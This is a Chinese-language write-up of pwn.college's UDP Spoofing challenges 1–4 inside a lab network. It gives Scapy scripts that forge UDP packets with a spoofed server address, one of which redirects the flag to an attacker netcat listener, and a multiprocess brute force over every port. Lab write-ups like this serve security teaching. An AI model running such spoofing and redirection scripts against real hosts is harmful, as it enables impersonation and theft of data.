Intercepting Communication UDP Spoofing解题思路
今天这篇文章来分享一下 pwn.college 中的 Intercepting Communication 章节 UDP Spoofing 板块的解题思路。
这个板块主要是通过 UDP 的传输机制来攻击客户端。
UDP Spoofing 1
In this challenge, one side of the connection can confuse a non-trusted connection for a trusted connection, and print the flag. Can you trigger this confusion?
我们查看一下源代码中比较重要的部分:
它创建了一个虚拟的网络环境,客户端位于10.0.0.2
,服务端位于10.0.0.3
,而我们作为攻击者则位于10.0.0.1
。
通过源代码我们得知客户端一直在监听 31338 端口 UDP 请求。
1
client_socket.bind(("0.0.0.0", 31338))
当服务端发送的UDP请求端口号来自 31337 端口,切包含 FLAG
关键字,就会打印出 flag。
1
2
if peer_port == 31337 and message.strip() == b"FLAG":
print(f"YOUR FLAG: {flag}")
解题思路,我们作为攻击者模拟服务器请求通过 31337 端口发送一个包含FLAG
关键字的 UDP 请求到客户端的 31338 端口。
1
2
3
4
5
6
7
8
9
10
from scapy.all import *
client_ip = "10.0.0.2"
client_port = 31338
server_ip = "10.0.0.3"
server_port = 31337
# Create a fake UDP packet
packet = IP(src=server_ip, dst=client_ip) / UDP(sport=server_port, dport=client_port) / b"FLAG"
send(packet, verbose=1)
UDP Spoofing 2
Rather than leaking the flag directly, this challenge allows you to redirect it to another server. Can you catch it on the other side?
看完题目描述,我们看一下源代码变化比较大的部分:
1
2
3
if peer_port == 31337 and message.startswith(b"FLAG"):
_, flag_host, flag_port = message.strip().split(b":")
client_socket.sendto(flag.encode(), (flag_host, int(flag_port)))
UDP Spoofing 1 在获取到 FLAG
关键字后就会直接打印出来,而 UDP Spoofing 2 则会根据 FLAG 后面的内容将 flag 发送到指定服务器。因此我们发送的时候应该遵循FLAG:{attacker_ip}:{attacker_port}
格式。
首先我们运行题目
1
/challenge/run
我们开一个 screen 用 netcat 起一个服务监听 9999 端口的 UDP 请求。
1
2
screen -S nc
nc -u -l -p 9999
然后我们把这个 screen 放在后台运行。(使用 Ctrl + A + C)
接下来运行我们的攻击脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from scapy.all import *
client_ip = "10.0.0.2"
client_port = 31338
server_ip = "10.0.0.3"
server_port = 31337
attacker_ip = "10.0.0.1"
attacker_port = 9999
# Create a fake UDP packet
packet = IP(src=server_ip, dst=client_ip) / UDP(sport=server_port, dport=client_port) / f"FLAG:{attacker_ip}:{attacker_port}".encode()
send(packet, verbose=1)
最后我们回到之前 netcat 的监听服务,应该就能看到客户端发来的 flag 了。
1
screen -r nc
UDP Spoofing 3
The fix for that vulnerability was to randomize the source port that DNS requests go out from. Likewise, this challenge no longer binds the source port to 31338. Can you still force the response?
HINT: The source port is only set once per socket, whether at bind time or at the first sendto
. What do you do when there’s a fixed number that you don’t know?
这道题目与上题基本类似,但是客户端不再监听固定的 31338 端口了。
解法之一就是将所有的端口(1, 65535)全部扫一遍就行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from scapy.all import *
# Target Client Details
client_ip = "10.0.0.2"
server_ip = "10.0.0.3"
server_port = 31337
# Attacker details
attacker_ip = "10.0.0.1"
attacker_port = 9999
# Try sending the fake FLAG response to multiple possible ports
for client_port in range(1, 65535):
fake_response = IP(src=server_ip, dst=client_ip) / UDP(sport=server_port, dport=client_port) / f"FLAG:{attacker_ip}:{attacker_port}".encode()
send(fake_response, verbose=True)
print(f"[+] Spoofed FLAG responses sent to ports {client_port}")
上面的脚本能用,但是应该会很慢很慢。因此我们需要启用“多线程”。
类似地,在开始前需要用 netcat 起一个服务
1
2
screen -S nc
nc -u -l -p 9999
然后挂到后台,在后台运行下面的脚本,回到 netcat 服务等 flag 出现。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from scapy.all import *
from multiprocessing import Pool
# Target Details
client_ip = "10.0.0.2"
server_ip = "10.0.0.3"
server_port = 31337
# Attacker details
attacker_ip = "10.0.0.1"
attacker_port = 9999
# Function to send spoofed packets in parallel
def send_spoofed(port):
packet = (
IP(src=server_ip, dst=client_ip) /
UDP(sport=server_port, dport=port) /
f"FLAG:{attacker_ip}:{attacker_port}".encode()
)
send(packet, verbose=False)
print(f"[+] Spoofed FLAG responses sent to ports {port}")
# Use multiprocessing to send packets faster
if __name__ == "__main__":
with Pool(processes=500) as pool: # Adjust number of processes for speed
pool.map(send_spoofed, range(1, 65535))
UDP Spoofing 4
与 UDP Spoofing 3 的唯一区别是客户端会验证请求是否来自10.0.0.3:31337
。
但是我们的脚本本来就是用真实的server_ip
,所以无需修改。使用 UDP Spoofing 3 的方法再运行一次就能拿到 flag。
其他尝试
UDP Spoofing 3 - 4 题除了暴力尝试外,能不能通过某种方式获取到这个随机端口具体是多少。我尝试过使用 nmap 扫描与 tcpdump 抓包,但是没有成功。